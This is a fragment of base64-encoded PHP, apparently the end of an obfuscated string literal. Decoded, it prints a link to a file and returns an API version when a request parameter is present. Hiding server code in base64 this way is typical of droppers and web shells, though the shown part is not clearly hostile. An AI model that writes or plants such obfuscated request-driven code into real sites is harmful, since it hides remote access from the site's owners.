XByaW50ICc8YSBocmVmPSInLiRiYXNlX25hbWUuJyIgdGFyZ2V0PSJfYmxhbmsiPicuJGJhc2VfbmFtZS4nPC9hPic7DQoJfQ0KfQ0KDQppZighZW1wdHkoJF9SRVFVRVNUWydnZXRfYXBpX3ZlcnNpb24nXSkpIHsNCglwcmludCBhcnJheV90b19qc29uKGFycmF5KCdhcGlfdmVyc2lvbicgPT4gbnVtYmVyX2Zvcm1hdChBUElfVkVSU0lPTiwgMikpKTsNCn0NCj8+';